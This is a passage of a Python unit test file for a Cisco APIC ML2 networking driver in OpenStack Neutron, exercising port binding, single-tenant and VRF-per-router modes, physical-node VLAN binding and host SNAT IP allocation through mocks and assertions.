self.assertEqual(net['id'], p1['network_id']) self.mgr.ensure_path_created_for_port = mock.Mock() # Bind port to trigger path binding newp1 = self._bind_port_to_host(p1['id'], 'h1') # Called on the network's tenant expected_pg = self._get_expected_pg(net) vif_det = newp1['port']['binding:vif_details'] self.assertIsNotNone(vif_det.get('dvs_port_group_name', None)) self.assertEqual(expected_pg, vif_det.get('dvs_port_group_name')) port_key = newp1['port']['binding:vif_details'].get('dvs_port_key') self.assertIsNotNone(port_key) self.assertEqual(port_key, BOOKED_PORT_VALUE) self._verify_dvs_notifier('update_postcommit_port_call', p1, 'h1') net_ctx = FakeNetworkContext(net, [{'network_type': 'opflex'}]) port_ctx = FakePortContext(newp1['port'], net_ctx) self.driver.delete_port_postcommit(port_ctx) self._verify_dvs_notifier('delete_port_call', p1, 'h1') self.driver.dvs_notifier.reset_mock() with self.port(subnet=sub, tenant_id='onetenant') as p2: p2 = p2['port'] self.assertEqual(net['id'], p2['network_id']) self.mgr.ensure_path_created_for_port = mock.Mock() # Bind port to trigger path binding newp2 = self._bind_dhcp_port_to_host(p2['id'], 'h1') # Called on the network's tenant vif_det = newp2['port']['binding:vif_details'] self.assertIsNone(vif_det.get('dvs_port_group_name', None)) port_key = newp2['port']['binding:vif_details'].get('dvs_port_key') self.assertIsNone(port_key) dvs_mock = self.driver.dvs_notifier.update_postcommit_port_call dvs_mock.assert_not_called() net_ctx = FakeNetworkContext(net, [{'network_type': 'opflex'}]) port_ctx = FakePortContext(newp2['port'], net_ctx) self.driver.delete_port_postcommit(port_ctx) dvs_mock = self.driver.dvs_notifier.delete_port_call dvs_mock.assert_not_called() def test_bind_port_dvs_shared(self): # Register a DVS agent self._register_agent('h1', agent_cfg=AGENT_CONF_DVS) net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub, tenant_id='onetenant') as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) self.mgr.ensure_path_created_for_port = mock.Mock() # Bind port to trigger path binding newp1 = self._bind_port_to_host(p1['id'], 'h1') # Called on the network's tenant expected_pg = self._get_expected_pg(net) pg = newp1['port']['binding:vif_details']['dvs_port_group_name'] self.assertEqual(pg, expected_pg) port_key = newp1['port']['binding:vif_details'].get('dvs_port_key') self.assertIsNotNone(port_key) self.assertEqual(port_key, BOOKED_PORT_VALUE) self._verify_dvs_notifier('update_postcommit_port_call', p1, 'h1') net_ctx = FakeNetworkContext(net, [{'network_type': 'opflex'}]) port_ctx = FakePortContext(newp1['port'], net_ctx) self.driver.delete_port_postcommit(port_ctx) self._verify_dvs_notifier('delete_port_call', p1, 'h1') class ApicML2IntegratedTestCaseDvsSingleTenantMode( ApicML2IntegratedTestCaseDvs): def setUp(self, service_plugins=None): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') super(ApicML2IntegratedTestCaseDvsSingleTenantMode, self).setUp() class ApicML2IntegratedTestCaseDvsSingleTenantModeWithName( ApicML2IntegratedTestCaseDvs): def setUp(self, service_plugins=None): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') self.override_conf('single_tenant_name', "singleTenantName", 'ml2_cisco_apic') super(ApicML2IntegratedTestCaseDvsSingleTenantModeWithName, self).setUp() class ApicML2IntegratedTestCaseSingleVRF(ApicML2IntegratedTestCase): def setUp(self, service_plugins=None): super(ApicML2IntegratedTestCaseSingleVRF, self).setUp(service_plugins) self.driver.per_tenant_context = True def test_add_router_interface_on_shared_net_by_subnet(self): pass def test_add_router_interface_on_shared_net_by_port(self): pass def test_inter_tenant_router_interface_disallowed(self): net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True, tenant_id='anothertenant') router = self.create_router(api=self.ext_api, expected_res_status=201)['router'] self.l3_plugin.per_tenant_context = True # Per subnet self.assertRaises( driver.InterTenantRouterInterfaceNotAllowedOnPerTenantContext, self.l3_plugin.add_router_interface, context.get_admin_context(), router['id'], {'subnet_id': sub['subnet']['id']}) # Per port with self.port(subnet=sub, tenant_id='anothertenant') as p1: self.assertRaises( driver.InterTenantRouterInterfaceNotAllowedOnPerTenantContext, self.l3_plugin.add_router_interface, context.get_admin_context(), router['id'], {'port_id': p1['port']['id']}) def test_vrf_per_router_intf_update(self): self.driver.vrf_per_router_tenants.append(mocked.APIC_TENANT) net = self.create_network(tenant_id=mocked.APIC_TENANT)['network'] sub1 = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', tenant_id=mocked.APIC_TENANT, ip_version=4) sub2 = self.create_subnet( network_id=net['id'], cidr='192.168.1.0/24', tenant_id=mocked.APIC_TENANT, ip_version=4) net1 = self.create_network(tenant_id=mocked.APIC_TENANT)['network'] sub3 = self.create_subnet( network_id=net1['id'], cidr='192.168.2.0/24', tenant_id=mocked.APIC_TENANT, ip_version=4) net_route_leak = self.create_network( tenant_id=mocked.APIC_TENANT, **{'apic:allow_route_leak': 'True'})['network'] sub_route_leak = self.create_subnet( network_id=net_route_leak['id'], cidr='192.168.96.0/24', tenant_id=mocked.APIC_TENANT, ip_version=4) router = self.create_router(api=self.ext_api, tenant_id=mocked.APIC_TENANT)['router'] with self.port(subnet=sub1, fixed_ips=[{'subnet_id': sub1['subnet']['id']}], tenant_id=mocked.APIC_TENANT) as p: p1 = p['port'] with self.port(subnet=sub1, fixed_ips=[{'subnet_id': sub1['subnet']['id']}], tenant_id=mocked.APIC_TENANT) as p: p1_1 = p['port'] with self.port(subnet=sub2, fixed_ips=[{'subnet_id': sub2['subnet']['id']}], tenant_id=mocked.APIC_TENANT) as p: p2 = p['port'] with self.port(subnet=sub2, fixed_ips=[{'subnet_id': sub2['subnet']['id']}], tenant_id=mocked.APIC_TENANT) as p: p2_1 = p['port'] with self.port(subnet=sub3, fixed_ips=[{'subnet_id': sub3['subnet']['id']}], tenant_id=mocked.APIC_TENANT) as p: p3 = p['port'] with self.port(subnet=sub3, fixed_ips=[{'subnet_id': sub3['subnet']['id']}], tenant_id=mocked.APIC_TENANT) as p: p3_1 = p['port'] with self.port(subnet=sub_route_leak, fixed_ips=[{'subnet_id': sub_route_leak['subnet']['id']}], tenant_id=mocked.APIC_TENANT) as p: p_route_leak = p['port'] with self.port(subnet=sub_route_leak, fixed_ips=[{'subnet_id': sub_route_leak['subnet']['id']}], tenant_id=mocked.APIC_TENANT) as p: p_route_leak_1 = p['port'] self.mgr.add_router_interface = mock.Mock() self.driver.notifier.port_update = mock.Mock() self._register_agent('h1') self._bind_port_to_host(p1['id'], 'h1') self._bind_port_to_host(p1_1['id'], 'h1') self._bind_port_to_host(p_route_leak['id'], 'h1') self._bind_port_to_host(p_route_leak_1['id'], 'h1') self._register_agent('h2') self._bind_port_to_host(p2['id'], 'h2') self._bind_port_to_host(p2_1['id'], 'h2') self._bind_port_to_host(p3['id'], 'h2') self._bind_port_to_host(p3_1['id'], 'h2') notified_p1_id = sorted([p1, p1_1])[0]['id'] notified_p2_id = sorted([p2, p2_1])[0]['id'] notified_p3_id = sorted([p3, p3_1])[0]['id'] notified_p_route_leak_id = sorted([p_route_leak, p_route_leak_1])[0]['id'] ctx = context.Context(user_id=None, tenant_id=mocked.APIC_TENANT) self.l3_plugin.add_router_interface( ctx, router['id'], {'subnet_id': sub3['subnet']['id']}) self.driver.notifier.port_update.reset_mock() self.l3_plugin.add_router_interface( ctx, router['id'], {'subnet_id': sub1['subnet']['id']}) updates = sorted(set( [pt[0][1]['id'] for pt in self.driver.notifier.port_update.call_args_list])) self.assertEqual(sorted([notified_p1_id, notified_p2_id, notified_p3_id, notified_p_route_leak_id]), updates) self.driver.notifier.port_update.reset_mock() self.l3_plugin.remove_router_interface( ctx, router['id'], {'subnet_id': sub1['subnet']['id']}) updates = sorted(set( [pt[0][1]['id'] for pt in self.driver.notifier.port_update.call_args_list])) self.assertEqual(sorted([notified_p1_id, notified_p2_id, notified_p3_id, notified_p_route_leak_id]), updates) class ApicML2IntegratedTestCaseSingleTenant(ApicML2IntegratedTestCase): def setUp(self, service_plugins=None): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') super(ApicML2IntegratedTestCaseSingleTenant, self).setUp( service_plugins) class ApicML2IntegratedTestCaseSingleTenantWithName(ApicML2IntegratedTestCase): def setUp(self, service_plugins=None): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') self.override_conf('single_tenant_name', "singleTenantName", 'ml2_cisco_apic') super(ApicML2IntegratedTestCaseSingleTenantWithName, self).setUp( service_plugins) class ApicML2IntegratedTestCaseSingleTenantSingleContext( ApicML2IntegratedTestCaseSingleVRF): def setUp(self, service_plugins=None): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') super(ApicML2IntegratedTestCaseSingleTenantSingleContext, self).setUp(service_plugins) class ApicML2IntegratedTestCaseSingleTenantWithNameSingleContext( ApicML2IntegratedTestCaseSingleVRF): def setUp(self, service_plugins=None): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') self.override_conf('single_tenant_name', "singleTenantName", 'ml2_cisco_apic') super(ApicML2IntegratedTestCaseSingleTenantWithNameSingleContext, self).setUp(service_plugins) class TestApicML2IntegratedPhysicalNode(ApicML2IntegratedTestBase): def setUp(self, mech_drivers=None, service_plugins=None): ml2_opts = { 'mechanism_drivers': mech_drivers or ['cisco_apic_ml2'], 'tenant_network_types': ['opflex'], 'type_drivers': ['opflex', 'vlan'], } super(TestApicML2IntegratedPhysicalNode, self).setUp( service_plugins=service_plugins, ml2_opts=ml2_opts) self.driver.agent_type = ofcst.AGENT_TYPE_OPFLEX_OVS self.driver.apic_manager.phy_net_dict = { 'physnet1': {'hosts': set(['fw-app-01', 'lb-app-01'])}} self.mgr.ensure_path_created_for_port = mock.Mock() self.mgr.ensure_path_deleted_for_port = mock.Mock() self.mgr.ensure_subnet_created_on_apic = mock.Mock() self._register_agent('fw-app-01') self._register_agent('lb-app-01') self.expected_bound_driver = 'cisco_apic_ml2' def _get_bound_seg(self, port_id): port_context = self.plugin.get_bound_port_context( context.get_admin_context(), port_id) if port_context: driver = (port_context.binding_levels[-1]['bound_driver'] if port_context.binding_levels else None) return port_context.bottom_bound_segment, driver def _query_dynamic_seg(self, network_id): return ml2_db.get_network_segments( context.get_admin_context().session, network_id, filter_dynamic=True) def test_phys_port_on_shared_public_opflex_network(self): old_net_dict = self.driver.apic_manager.ext_net_dict self.driver.apic_manager.ext_net_dict = self.external_network_dict self.driver.apic_optimized_dhcp_lease_time = 100 self._register_agent('h1', agent_cfg=AGENT_CONF_OPFLEX) net = self.create_network( name=mocked.APIC_NETWORK_HOST_SNAT + '-name', tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True, **{'router:external': 'True'})['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.12.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub, tenant_id='onetenant') as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) # Bind port to trigger path binding self._bind_port_to_host(p1['id'], 'fw-app-01') self.driver._add_ip_mapping_details = mock.Mock() # Called on the network's tenant self.mgr.ensure_path_created_for_port.assert_called_once_with( 'common', 'EXT-epg-network-host-snat-name_' + net['id'][:4], 'fw-app-01', mock.ANY, transaction=mock.ANY, bd_name='EXT-bd-network-host-snat-name_' + net['id'][:4], app_profile_name=self._app_profile(neutron_tenant='onetenant')) self.driver.apic_manager.ext_net_dict = old_net_dict def test_physical_bind(self): tenant1 = self._tenant(neutron_tenant='onetenant') app_prof1 = self._app_profile(neutron_tenant='onetenant') self._register_agent('h1', agent_cfg=AGENT_CONF_OPFLEX) net1 = self.create_network(tenant_id='onetenant', expected_res_status=201)['network'] sub1 = self.create_subnet( network_id=net1['id'], cidr='192.168.0.0/24', is_admin_context=True, ip_version=4) with self.port(subnet=sub1, tenant_id='onetenant') as p: p1 = p['port'] # bind to VM-host self._bind_port_to_host(p1['id'], 'h1') bseg_p1, bdriver = self._get_bound_seg(p1['id']) self.assertEqual(bseg_p1['network_type'], 'opflex') self.assertEqual('cisco_apic_ml2', bdriver) self.mgr.ensure_path_created_for_port.assert_not_called() # bind to one physical node self._bind_port_to_host(p1['id'], 'fw-app-01') bseg_p1, bdriver = self._get_bound_seg(p1['id']) self.assertEqual(bseg_p1['network_type'], 'vlan') self.assertEqual(self.expected_bound_driver, bdriver) self.assertEqual(1, len(self._query_dynamic_seg(net1['id']))) self.mgr.ensure_path_created_for_port.assert_called_once_with( tenant1, net1['id'], 'fw-app-01', bseg_p1['segmentation_id'], bd_name=None, app_profile_name=app_prof1, transaction=mock.ANY) self.mgr.ensure_path_created_for_port.reset_mock() # bind another physical node to same network, then delete that port with self.port(subnet=sub1, tenant_id='onetenant') as p1_1: p1_1 = p1_1['port'] self._bind_port_to_host(p1_1['id'], 'lb-app-01') self.assertEqual(bseg_p1, self._get_bound_seg(p1_1['id'])[0]) self.assertEqual(1, len(self._query_dynamic_seg(net1['id']))) self.mgr.ensure_path_created_for_port.assert_called_once_with( tenant1, net1['id'], 'lb-app-01', bseg_p1['segmentation_id'], bd_name=None, app_profile_name=app_prof1, transaction=mock.ANY) self.delete_port(p1_1['id'], tenant_id=p1_1['tenant_id']) self.assertEqual(1, len(self._query_dynamic_seg(net1['id']))) self.mgr.ensure_path_deleted_for_port.assert_called_once_with( tenant1, net1['id'], 'lb-app-01', app_profile_name=app_prof1) self.mgr.ensure_path_created_for_port.reset_mock() self.mgr.ensure_path_deleted_for_port.reset_mock() # bind p1 back to VM-host self._bind_port_to_host(p1['id'], 'h1') bseg_p1, bdriver = self._get_bound_seg(p1['id']) self.assertEqual('cisco_apic_ml2', bdriver) self.assertEqual(bseg_p1['network_type'], 'opflex') self.assertEqual(0, len(self._query_dynamic_seg(net1['id']))) self.mgr.ensure_path_deleted_for_port.assert_called_once_with( tenant1, net1['id'], 'fw-app-01', app_profile_name=app_prof1) self.mgr.ensure_path_deleted_for_port.reset_mock() def test_physical_bind_multiple_network(self): tenant1 = self._tenant(neutron_tenant='onetenant') app_prof1 = self._app_profile(neutron_tenant='onetenant') net1 = self.create_network(tenant_id='onetenant', expected_res_status=201)['network'] sub1 = self.create_subnet( network_id=net1['id'], cidr='192.168.0.0/24', is_admin_context=True, ip_version=4) net2 = self.create_network(tenant_id='onetenant', expected_res_status=201)['network'] sub2 = self.create_subnet( network_id=net2['id'], cidr='192.168.0.0/24', is_admin_context=True, ip_version=4) with self.port(subnet=sub1, tenant_id='onetenant') as p: p1 = p['port'] with self.port(subnet=sub2, tenant_id='onetenant') as p: p2 = p['port'] self._bind_port_to_host(p1['id'], 'fw-app-01') bseg_p1, bdriver = self._get_bound_seg(p1['id']) self.assertEqual(self.expected_bound_driver, bdriver) self.mgr.ensure_path_created_for_port.assert_called_once_with( tenant1, net1['id'], 'fw-app-01', bseg_p1['segmentation_id'], app_profile_name=app_prof1, bd_name=None, transaction=mock.ANY) self.mgr.ensure_path_created_for_port.reset_mock() # bind port from another network to first physical node self._bind_port_to_host(p2['id'], 'fw-app-01') bseg_p2, bdriver = self._get_bound_seg(p2['id']) self.assertEqual(self.expected_bound_driver, bdriver) self.assertEqual(bseg_p2['network_type'], 'vlan') self.assertNotEqual(bseg_p1['segmentation_id'], bseg_p2['segmentation_id']) self.assertEqual(1, len(self._query_dynamic_seg(net2['id']))) self.mgr.ensure_path_created_for_port.assert_called_once_with( tenant1, net2['id'], 'fw-app-01', bseg_p2['segmentation_id'], bd_name=None, app_profile_name=app_prof1, transaction=mock.ANY) # delete the ports self.delete_port(p1['id'], tenant_id=p1['tenant_id']) self.assertEqual(0, len(self._query_dynamic_seg(net1['id']))) self.mgr.ensure_path_deleted_for_port.assert_called_once_with( tenant1, net1['id'], 'fw-app-01', app_profile_name=app_prof1) self.mgr.ensure_path_deleted_for_port.reset_mock() self.delete_port(p2['id'], tenant_id=p2['tenant_id']) self.assertEqual(0, len(self._query_dynamic_seg(net2['id']))) self.mgr.ensure_path_deleted_for_port.assert_called_once_with( tenant1, net2['id'], 'fw-app-01', app_profile_name=app_prof1) self.mgr.ensure_path_deleted_for_port.reset_mock() class TestApicML2IntegratedPhysicalNodeMultiDriver( TestApicML2IntegratedPhysicalNode): def setUp(self, service_plugins=None): super(TestApicML2IntegratedPhysicalNodeMultiDriver, self).setUp( mech_drivers=['openvswitch', 'cisco_apic_ml2'], service_plugins=service_plugins) self.expected_bound_driver = 'openvswitch' class TestCiscoApicMechDriverSingleVRF(TestCiscoApicMechDriver): def setUp(self): self.override_conf('per_tenant_context', False, 'ml2_cisco_apic') super(TestCiscoApicMechDriverSingleVRF, self).setUp() class TestCiscoApicMechDriverSingleTenant(TestCiscoApicMechDriver): def setUp(self): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') super(TestCiscoApicMechDriverSingleTenant, self).setUp() class TestCiscoApicMechDriverSingleTenantWithName(TestCiscoApicMechDriver): def setUp(self): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') self.override_conf('single_tenant_name', "singleTenantName", 'ml2_cisco_apic') super(TestCiscoApicMechDriverSingleTenantWithName, self).setUp() class TestCiscoApicMechDriverSingleTenantSingleVRF( TestCiscoApicMechDriverSingleVRF): def setUp(self): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') super(TestCiscoApicMechDriverSingleTenantSingleVRF, self).setUp() class TestCiscoApicMechDriverSingleTenantWithNameSingleVRF( TestCiscoApicMechDriverSingleVRF): def setUp(self): self.override_conf('single_tenant_mode', True, 'ml2_cisco_apic') self.override_conf('single_tenant_name', "singleTenantName", 'ml2_cisco_apic') super(TestCiscoApicMechDriverSingleTenantWithNameSingleVRF, self).setUp() class VrfPerRouterBase(object): def doSetup(self): self.override_conf('vrf_per_router_tenants', [mocked.APIC_TENANT, ' ^coke* ', '', ' ', '['], 'ml2_cisco_apic') def test_config_option(self): self.assertEqual([mocked.APIC_TENANT, '^coke*'], self.driver.vrf_per_router_tenants) def test_create_delete_router_vrf(self): routers = [{'id': 'r1', 'tenant_id': 'coke_1_tenant'}, {'id': 'r2', 'tenant_id': 'another_coke_1_tenant'}, {'id': 'r3', 'tenant_id': 'coke_1_tenant', 'apic:use_routing_context': 'r1'}] for rtr in routers: is_vrf_per_router = (rtr['tenant_id'] == 'coke_1_tenant') mgr = self.driver.apic_manager vrf_tenant = self._tenant(neutron_tenant=rtr['tenant_id']) vrf_name = self._routed_network_vrf_name(router=rtr['id'], tenant=rtr['tenant_id']) mgr.ensure_context_enforced.reset_mock() self.driver.create_vrf_per_router(rtr, 'txn') if is_vrf_per_router and not rtr.get(USE_ROUTING_CONTEXT): mgr.ensure_context_enforced.assert_called_once_with( owner=vrf_tenant, ctx_id=vrf_name, transaction='txn') else: mgr.ensure_context_enforced.assert_not_called() mgr.ensure_context_deleted.reset_mock() self.driver.delete_vrf_per_router(rtr, 'txn') if is_vrf_per_router and not rtr.get(USE_ROUTING_CONTEXT): mgr.ensure_context_deleted.assert_called_once_with( owner=vrf_tenant, ctx_id=vrf_name, transaction='txn') else: mgr.ensure_context_deleted.assert_not_called() def test_multiple_routers_precommit_exception(self): intf_ports = [] def get_ports(ctx, filters): return [p.current for p in intf_ports] net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) for x in range(0, 3): rtr = '%s-%d' % (mocked.APIC_ROUTER, x / 2) port = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'intf', net_ctx, HOST_ID1, router_owner=rtr, interface=True) port.current['id'] += x port._plugin.get_ports = get_ports intf_ports.append(port) if x < 2: # no exception expected self.driver.create_port_precommit(port) self.driver.update_port_precommit(port) else: self.assertRaises(md.OnlyOneRouterPermittedIfVrfPerRouter, self.driver.create_port_precommit, port) self.assertRaises(md.OnlyOneRouterPermittedIfVrfPerRouter, self.driver.update_port_precommit, port) def test_use_routing_context_routers_precommit(self): intf_ports = [] def get_ports(ctx, filters): return [p.current for p in intf_ports] self.driver._l3_plugin.get_routers = mock.Mock(return_value=[ {'id': mocked.APIC_ROUTER + '-0', 'tenant_id': mocked.APIC_TENANT}, {'id': mocked.APIC_ROUTER + '-1', 'tenant_id': mocked.APIC_TENANT, 'apic:use_routing_context': mocked.APIC_ROUTER + '-0'}]) net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) for x in range(0, 3): rtr = '%s-%d' % (mocked.APIC_ROUTER, x / 2) self.driver._l3_plugin.get_router = mock.Mock(return_value={ 'id': rtr, 'tenant_id': mocked.APIC_TENANT, 'apic:use_routing_context': mocked.APIC_ROUTER + '-0'}) port = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'intf', net_ctx, HOST_ID1, router_owner=rtr, interface=True) port.current['id'] += x port._plugin.get_ports = get_ports intf_ports.append(port) # no exception expected self.driver.create_port_precommit(port) self.driver.update_port_precommit(port) def test_multiple_intf_ports_delete(self): intf_ports = [] def get_ports(ctx, filters): return [p.current for p in intf_ports] net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) mgr = self.driver.apic_manager for x in range(0, 3): port = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'intf', net_ctx, HOST_ID1, router_owner=mocked.APIC_ROUTER, interface=True) port.current['id'] += x port._plugin.get_ports = get_ports intf_ports.append(port) port._plugin.get_subnets = mock.Mock( return_value=[{'tenant_id': mocked.APIC_TENANT, 'id': 'some_id', 'cidr': '5.5.5.0/24'}]) self.driver._get_route_leak_networks = mock.Mock(return_value=([])) while intf_ports: port = intf_ports[0] del intf_ports[0] self.driver.delete_port_postcommit(port) if intf_ports: mgr.set_context_for_bd.assert_not_called() else: mgr.set_context_for_bd.assert_called_once_with( self._tenant(), self._scoped_name(mocked.APIC_NETWORK), self._network_vrf_name(), transaction=mock.ANY) class TestCiscoApicMechDriverVrfPerRouter(TestCiscoApicMechDriver, VrfPerRouterBase): def setUp(self): self.doSetup() super(TestCiscoApicMechDriverVrfPerRouter, self).setUp() class TestCiscoApicMechDriverVrfPerRouterSingleTenant( TestCiscoApicMechDriverSingleTenant, VrfPerRouterBase): def setUp(self): self.doSetup() super(TestCiscoApicMechDriverVrfPerRouterSingleTenant, self).setUp() class TestCiscoApicMechDriverHostSNAT(ApicML2IntegratedTestBase): def setUp(self): super(TestCiscoApicMechDriverHostSNAT, self).setUp() mocked.ControllerMixin.set_up_mocks(self) mocked.ConfigMixin.set_up_mocks(self) self.mock_apic_manager_login_responses() self.driver = md.APICMechanismDriver() self.driver.synchronizer = None self.synchronizer = mock.Mock() md.APICMechanismDriver.get_base_synchronizer = mock.Mock( return_value=self.synchronizer) self.driver.initialize() self.driver.apic_manager = mock.Mock( name_mapper=mock.Mock(), ext_net_dict=self.external_network_dict) self.driver.apic_manager.apic.transaction = self.fake_transaction self.agent = {'configurations': { 'opflex_networks': None, 'bridge_mappings': {'physnet1': 'br-eth1'}}} self.actual_core_plugin = manager.NeutronManager.get_plugin() self.driver._l3_plugin = mock.Mock() def get_resource(context, resource_id): return {'id': resource_id, 'tenant_id': mocked.APIC_TENANT} self.driver._l3_plugin.get_router = get_resource def tearDown(self): super(TestCiscoApicMechDriverHostSNAT, self).tearDown() def _get_network_context(self, plugin, tenant_id, net_id, seg_id=None, seg_type='vlan', external=False, shared=False): ctx = context.get_admin_context() network = {'id': net_id, 'name': mocked.APIC_NETWORK_HOST_SNAT + '-name', 'tenant_id': tenant_id, 'provider:segmentation_id': seg_id, 'provider:network_type': seg_type, 'shared': shared} if external: network['router:external'] = True return driver_context.NetworkContext(plugin, ctx, network) def test_1_port_created_for_host(self): # This test case is more of a functional test and should be revisited. ctx = context.get_admin_context() agent = {'host': 'h1'} agent.update(AGENT_CONF) self.actual_core_plugin.create_or_update_agent(ctx, agent) args = {'network': {'name': mocked.APIC_NETWORK_HOST_SNAT + '-name', 'admin_state_up': True, 'shared': True, 'status': n_constants.NET_STATUS_ACTIVE, 'tenant_id': 'onetenant', 'router:external': True}} db_net = self.driver.db_plugin.create_network(ctx, args) net_ctx = self._get_network_context(self.actual_core_plugin, ctx.tenant_id, db_net['id'], TEST_SEGMENT1, external=True) self.driver.create_network_postcommit(net_ctx) snat_networks = self.driver.db_plugin.get_networks( ctx, filters={'name': [self.driver._get_snat_db_network_name( db_net)]}) snat_network_id = snat_networks[0]['id'] net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='10.0.0.0/24', ip_version=4, is_admin_context=True) host_arg = {'binding:host_id': 'h2'} with self.port(subnet=sub, tenant_id='anothertenant', device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) # We need the db_plugin to get invoked from the code being # tested. However, this was earlier mocked out in the setup, # hence we reset it here. self.driver.db_plugin._device_to_port_id = ( self.actual_core_plugin._device_to_port_id) self.driver.db_plugin.get_bound_port_context = ( self.actual_core_plugin.get_bound_port_context) self.driver.db_plugin.get_agents = ( self.actual_core_plugin.get_agents) self.driver.db_plugin.create_or_update_agent = ( self.actual_core_plugin.create_or_update_agent) self.driver._is_nat_enabled_on_ext_net = mock.Mock() self.driver._is_connected_to_ext_net = mock.Mock() self.driver.agent_type = 'Open vSwitch agent' details = self.driver.get_gbp_details( ctx, device='tap%s' % p1['id'], host='h1') host_snat_ips = details['host_snat_ips'] self.assertEqual(1, len(host_snat_ips)) self.assertEqual(db_net['name'], host_snat_ips[0]['external_segment_name']) hcidr = self.driver.apic_manager.ext_net_dict[ db_net['name']]['host_pool_cidr'] self._check_ip_in_cidr(host_snat_ips[0]['host_snat_ip'], hcidr) self.assertEqual('192.168.0.1', host_snat_ips[0]['gateway_ip']) self.assertEqual( netaddr.IPNetwork(mocked.HOST_POOL_CIDR).prefixlen, host_snat_ips[0]['prefixlen']) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': ['h1']}) self.assertEqual(1, len(snat_ports)) # Simulate a second event on the same host for the same external # network to check if the earlier allocated SNAT IP is returned with self.port(subnet=sub, tenant_id='anothertenant', device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p2: p2 = p2['port'] self.assertEqual(net['id'], p2['network_id']) details = self.driver.get_gbp_details( ctx, device='tap%s' % p2['id'], host='h1') host_snat_ips = details['host_snat_ips'] self.assertEqual(1, len(host_snat_ips)) self.assertEqual(db_net['name'], host_snat_ips[0]['external_segment_name']) self._check_ip_in_cidr(host_snat_ips[0]['host_snat_ip'], hcidr) self.assertEqual('192.168.0.1', host_snat_ips[0]['gateway_ip']) self.assertEqual( netaddr.IPNetwork(mocked.HOST_POOL_CIDR).prefixlen, host_snat_ips[0]['prefixlen']) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': ['h1']}) self.assertEqual(1, len(snat_ports)) # Now simulate event of a second host host_arg = {'binding:host_id': 'h2'} with self.port(subnet=sub, tenant_id='anothertenant', device_owner='compute:', device_id='someid', arg_list=(portbindings.HOST_ID,), **host_arg) as p3: p3 = p3['port'] self.assertEqual(net['id'], p3['network_id']) details = self.driver.get_gbp_details( ctx, device='tap%s' % p3['id'], host='h2') host_snat_ips = details['host_snat_ips'] self.assertEqual(1, len(host_snat_ips)) self.assertEqual(db_net['name'], host_snat_ips[0]['external_segment_name']) self._check_ip_in_cidr(host_snat_ips[0]['host_snat_ip'], hcidr) self.assertEqual('192.168.0.1', host_snat_ips[0]['gateway_ip']) self.assertEqual( netaddr.IPNetwork(mocked.HOST_POOL_CIDR).prefixlen, host_snat_ips[0]['prefixlen']) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id], 'device_id': ['h2']}) self.assertEqual(1, len(snat_ports)) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id]}) self.assertEqual(2, len(snat_ports)) self.driver.delete_network_postcommit(net_ctx) snat_ports = self.driver.db_plugin.get_ports( ctx, filters={'name': [acst.HOST_SNAT_POOL_PORT], 'network_id': [snat_network_id]}) self.assertEqual(0, len(snat_ports)) snat_networks = self.driver.db_plugin.get_networks( ctx, filters={'name': [self.driver._get_snat_db_network_name( db_net)]}) self.assertEqual(0, len(snat_networks)) subnets = self.driver.db_plugin.get_subnets( ctx, filters={'name': [acst.HOST_SNAT_POOL]}) self.assertEqual(0, len(subnets)) def test_1_port_created_for_host_edge_nat(self): # This test case is more of a functional test and should be revisited. ctx = context.get_admin_context() agent = {'host': 'h1'} agent.update(AGENT_CONF) self.actual_core_plugin.create_or_update_agent(ctx, agent) args = {'network': {'name': mocked.APIC_NETWORK_EDGE_NAT + '-name', 'admin_state_up': True, 'shared': True, 'status': n_constants.NET_STATUS_ACTIVE, 'tenant_id': 'onetenant', 'router:external': True}} db_net = self.driver.db_plugin.create_network(ctx, args) net_ctx = self._get_network_context(self.actual_core_plugin, ctx.tenant_id, db_net['id'], TEST_SEGMENT1, external=True) self.driver.create_network_postcommit(net_ctx) snat_networks = self.driver.db_plugin.get_networks( ctx, filters={'name': [self.driver._get_snat_db_network_name( db_net)]}) snat_network_id = snat_networks[0]['id'] net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = 